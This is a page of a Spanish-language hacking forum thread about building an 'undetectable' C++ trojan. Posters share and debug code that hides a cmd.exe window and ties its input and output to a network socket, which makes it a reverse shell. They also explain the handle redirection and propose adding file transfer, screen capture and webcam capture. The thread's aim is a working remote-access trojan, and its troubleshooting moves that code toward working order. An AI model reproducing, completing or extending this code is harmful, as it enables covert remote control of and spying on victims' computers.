elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Troyano en C++ indetectable!!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] 3 4 Ir Abajo Respuesta Imprimir
Autor Tema: Troyano en C++ indetectable!!  (Leído 43,435 veces)
Ceh

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: Troyano en C++ indetectable!!
« Respuesta #10 en: 14 Febrero 2014, 23:32 pm »

haste un video tuto por fa suena interesante
En línea

.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: Troyano en C++ indetectable!!
« Respuesta #11 en: 14 Febrero 2014, 23:49 pm »

Un videotutorial está demás, es algo muy sencillo.
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
daryo


Desconectado Desconectado

Mensajes: 1.070



Ver Perfil WWW
Re: Troyano en C++ indetectable!!
« Respuesta #12 en: 15 Febrero 2014, 00:14 am »

no sabia que se podia mezclar de esa forma createprocess con winsocks :D genial aunque el codigo no sea el tuyo gracias por el code

aunque como dicen arribla estaria bien hacerle modificaciones para que sea mas funcional
En línea

buenas
Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: Troyano en C++ indetectable!!
« Respuesta #13 en: 15 Febrero 2014, 00:42 am »

Citar
aunque como dicen arribla estaria bien hacerle modificaciones para que sea mas funcional

Yo que se,, con poca cosa podes hacerlo conexión inversa, y ya de paso le pondría:
Enviar/Subir archivos, captura de pantalla y webcam.  ;D
En línea

Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: Troyano en C++ indetectable!!
« Respuesta #14 en: 16 Febrero 2014, 07:20 am »

Hola! Otra vez..
Al final me entusiasme un poco con este code.. y lo hice conexión inversa,, alguien me puede explicar que gano creando el proceso "cmd"? (O sea una shell...)
Ya tengo mi cliente en VB.net,, entonces cuando conecta me manda la linea de comandos,, pero no le puedo enviar ningún comando así como esta el código,, pregunto porque a lo mejor hay alguna forma sencilla (ya que utiliza ese createprocess???) Sino ya se como hacerlo, pero me interesa saber para que crea el proceso... De otra manera creo una tuberia (pipe) y listo..

Bue,, eso nomas..

Saludos!!  ;D

EDITO: Leyendo sobre CreateProcess veo que se puede redirigir la entrada/salida estándar del nuevo proceso,, pero.. la pregunta del millón.. por que no lo redirecciona? Y como es posible que se invoquen los métodos recv y send "automáticamente"?
« Última modificación: 16 Febrero 2014, 08:13 am por Vaagish » En línea

Arkangel_0x7C5


Desconectado Desconectado

Mensajes: 361



Ver Perfil
Re: Troyano en C++ indetectable!!
« Respuesta #15 en: 16 Febrero 2014, 11:09 am »

Hola! Otra vez..
Al final me entusiasme un poco con este code.. y lo hice conexión inversa,, alguien me puede explicar que gano creando el proceso "cmd"? (O sea una shell...)
Ya tengo mi cliente en VB.net,, entonces cuando conecta me manda la linea de comandos,, pero no le puedo enviar ningún comando así como esta el código,, pregunto porque a lo mejor hay alguna forma sencilla (ya que utiliza ese createprocess???) Sino ya se como hacerlo, pero me interesa saber para que crea el proceso... De otra manera creo una tuberia (pipe) y listo..

Bue,, eso nomas..

Saludos!!  ;D

EDITO: Leyendo sobre CreateProcess veo que se puede redirigir la entrada/salida estándar del nuevo proceso,, pero.. la pregunta del millón.. por que no lo redirecciona? Y como es posible que se invoquen los métodos recv y send "automáticamente"?

Lo que hace es redirigir la entrada salida del cmd al socket

Y eso funciona porque si te miras la api createFile veras que la mayoria de los handles tipo file,pipe, socket y demas en realidad son tratados como archivos. Por lo que puedes usarlos con las apis readFile y WriteFile

un saludo Ark
En línea

Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: Troyano en C++ indetectable!!
« Respuesta #16 en: 16 Febrero 2014, 21:05 pm »

Citar
Y eso funciona porque si te miras la api createFile veras que la mayoria de los handles tipo file,pipe, socket y demas en realidad son tratados como archivos. Por lo que puedes usarlos con las apis readFile y WriteFile

Gracias Ark! Es verdad,, no pensé en eso de esa forma.. por ende, la sentencia encargada de tal tarea es:

Código
  1. SI.hStdInput = SI.hStdOutput = SI.hStdError = (HANDLE)Socket;

Yo la modifique un poco porque a mi no me funcionaba como estaba en el código,, pero igual no me funciona "a mi manera" tampoco.. estas son las cosas mas relevantes que cambie:

Código
  1. if (connect(Socket, (struct sockaddr*)&SA_IN, sizeof(SA_IN)) == -1)
  2. cout << "No conectado..";
  3.  
  4. ZeroMemory(&SI, sizeof(SI));
  5. ZeroMemory(&PI, sizeof(PI));
  6.  
  7. SI.cb = sizeof(SI);
  8. SI.wShowWindow         = SW_HIDE;
  9. SI.dwFlags  = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;
  10. SI.hStdInput  = SI.hStdOutput = SI.hStdError = (HANDLE)Socket;
  11. SI.lpDesktop  = SI.lpTitle = 0x0000;
  12. SI.lpReserved2  = NULL;
  13.  
  14. LPSTR szCmdline  = "cmd.exe";
  15. CreateProcessA(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA)&SI, &PI);

A ver si alguien se da cuenta por que no funciona,, y aclaro el problema: El socket conecta y envía la linea de comandos,, pero si le envio una tarea, ej: "netstat" ya no responde, pero sigue conectado.. o si alguien sabe como depurar ese proceso hijo, me sirve también..
« Última modificación: 16 Febrero 2014, 21:19 pm por Vaagish » En línea

xv0


Desconectado Desconectado

Mensajes: 1.026



Ver Perfil
Re: Troyano en C++ indetectable!!
« Respuesta #17 en: 16 Febrero 2014, 21:50 pm »

Tienes que duplicar el descriptor, en sistemas Posix son 0 1 2, luego en el descriptor del socket y duplicarlo con dup2 a esos descriptores, tendras que buscar la equivalencia en Windows.

Un saludo.
« Última modificación: 16 Febrero 2014, 21:53 pm por cpu2 » En línea

Vaagish


Desconectado Desconectado

Mensajes: 875



Ver Perfil
Re: Troyano en C++ indetectable!!
« Respuesta #18 en: 16 Febrero 2014, 22:07 pm »

Me mataste.. jaja  Descriptor = Handle?
En línea

xv0


Desconectado Desconectado

Mensajes: 1.026



Ver Perfil
Re: Troyano en C++ indetectable!!
« Respuesta #19 en: 16 Febrero 2014, 22:31 pm »

Si jaja, si quieres un ejemplo en Posix y ASM dilo.

Un saludo
En línea

Páginas: 1 [2] 3 4 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿Troyano indetectable? « 1 2 »
Análisis y Diseño de Malware
WIитX 16 14,009 Último mensaje 9 Noviembre 2012, 13:16 pm
por WIитX
Troyano indetectable
Análisis y Diseño de Malware
llAudioslavell 4 5,577 Último mensaje 5 Julio 2013, 03:23 am
por Jety
Dudas sobre troyano (.exe) indetectable.
Criptografía
pituu14 0 2,668 Último mensaje 18 Julio 2017, 02:33 am
por pituu14
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines